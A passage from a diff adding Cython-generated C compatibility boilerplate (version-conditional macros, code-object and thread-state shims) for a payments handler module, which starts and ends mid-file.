+ result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__yoomoney_pay +#define __PYX_HAVE_API__handlers__payments__yoomoney_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + 